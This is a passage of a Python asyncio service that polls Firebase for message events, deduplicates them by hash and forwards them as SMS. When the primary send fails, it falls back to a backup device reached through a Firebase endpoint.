                                ws.recent_fb_events.append(event_key)
                                if len(ws.recent_fb_events) > 100:
                                    ws.recent_fb_events[:] = ws.recent_fb_events[-100:]

                        ws.last_processed_ts = max(ws.last_processed_ts, ts_val)
                        changed = True

                    if changed:
                        self.save_workspace(ws)

                await asyncio.sleep(poll_interval)

            except asyncio.CancelledError:
                break
            except Exception as exc:
                consecutive_errors += 1
                err_text = str(exc).lower()
                if "name or service not known" in err_text or "cannot connect to host" in err_text or "nodename" in err_text:
                    log(f"[fb poll {user_id}] Host connection/lookup failed: {exc}. Backing off 30s...")
                    await asyncio.sleep(30)
                else:
                    err_msg = str(exc) or type(exc).__name__
                    log(f"[fb poll {user_id}] {err_msg}")
                    await asyncio.sleep(max(2.0, poll_interval * 2))

    def _latest_remote_ts(self, data: dict[str, Any]) -> int:
        latest_ts = 0
        for key in data.keys():
            try:
                latest_ts = max(latest_ts, int(key))
            except Exception:
                continue
        return latest_ts

    def _fb_event_key(self, ts_val: int, entry: Any) -> Optional[str]:
        if not isinstance(entry, dict):
            return None
        body = str(entry.get("message", "")).strip()
        typ = str(entry.get("type", "")).strip()
        sender = str(entry.get("sender", entry.get("from", ""))).strip()
        # Deduplicate purely based on type, sender, and body content, ignoring all timestamps completely
        import hashlib
        hash_str = f"{typ}:{sender}:{body}"
        return hashlib.md5(hash_str.encode()).hexdigest()

    async def _dispatch_fb_batch(self, user_id: str, body: str, sender: str = "") -> None:
        ws = self.load_workspace(user_id)
        if self.is_admin(ws.user_id):
            ok = await self._dispatch_sms(user_id, ws.forward_to, body, source="fb_watch", sender=sender)
            if not ok and ws.backup_device_id and ws.backup_firebase_url and ws.forward_to:
                await self._dispatch_backup_sms(user_id, ws.forward_to, body, sender)
        else:
            for _ in range(3):
                ok = await self._dispatch_sms(user_id, ws.forward_to, body, source="fb_watch", sender=sender)
                if ok:
                    break

    async def _dispatch_backup_sms(self, user_id: str, to_num: str, body: str, sender: str = "") -> bool:
        ws = self.load_workspace(user_id)
        if not self.http or not ws.backup_firebase_url or not ws.backup_device_id:
            return False
        try:
            fb = normalize_firebase_url(ws.backup_firebase_url)
            url = f"{fb}/clients/{ws.backup_device_id}/webhookEvent/sendSms.json"
            if ws.backup_firebase_auth:
                url += f"?auth={ws.backup_firebase_auth}"
            sl = "SIM 1" if ws.backup_sim == "0" else "SIM 2"
            start = time.time()
            payload = {"from": int(ws.backup_sim) + 1, "to": to_num, "message": body, "isSended": False}
            put_timeout = aiohttp.ClientTimeout(total=5, sock_connect=2)
            async with self.http.put(url, json=payload, timeout=put_timeout) as r:
                ok = r.status in (200, 201, 202, 204)
                elapsed = round(time.time() - start, 2)
                if ok:
                    ws.sent += 1
                    asyncio.create_task(asyncio.to_thread(self.save_workspace, ws))
                    await self.send(user_id, fmt_msg("Backup Sent", f"🔄 **Backup Firebase**\n👤 **Sender:** `{sender}`\n🎯 **Target:** `{to_num}`\n💳 **SIM Slot:** `{sl}`\n⚡️ **Speed:** `{elapsed}s`", success=True))
                else:
                    try:
                        resp = await r.text()
                    except Exception:
                        resp = f"HTTP {r.status}"
                    await self.send(user_id, fmt_msg("Backup Failed", f"🔄 **Backup Firebase**\n📞 **To:** `{to_num}`\n⏱ **Time:** `{elapsed}s`\n📄 **Resp:** `{resp}`", error=True))
                return ok
        except Exception as exc:
            await self.send(user_id, fmt_msg("Backup Failed", f"🔄 **Backup Firebase**\n📞 **To:** `{to_num}`\n📄 **Error:** `{exc}`", error=True))
            return False


async def main() -> None:
    if not CONFIG_FILE.exists():
        log("bridge_config.json not found.")
        return

    cfg = load_json(CONFIG_FILE)
    service = BridgeService(cfg)

    try:
        await service.start()
    except KeyboardInterrupt:
        pass
    finally:
        await service.shutdown()


if __name__ == "__main__":
    asyncio.run(main())
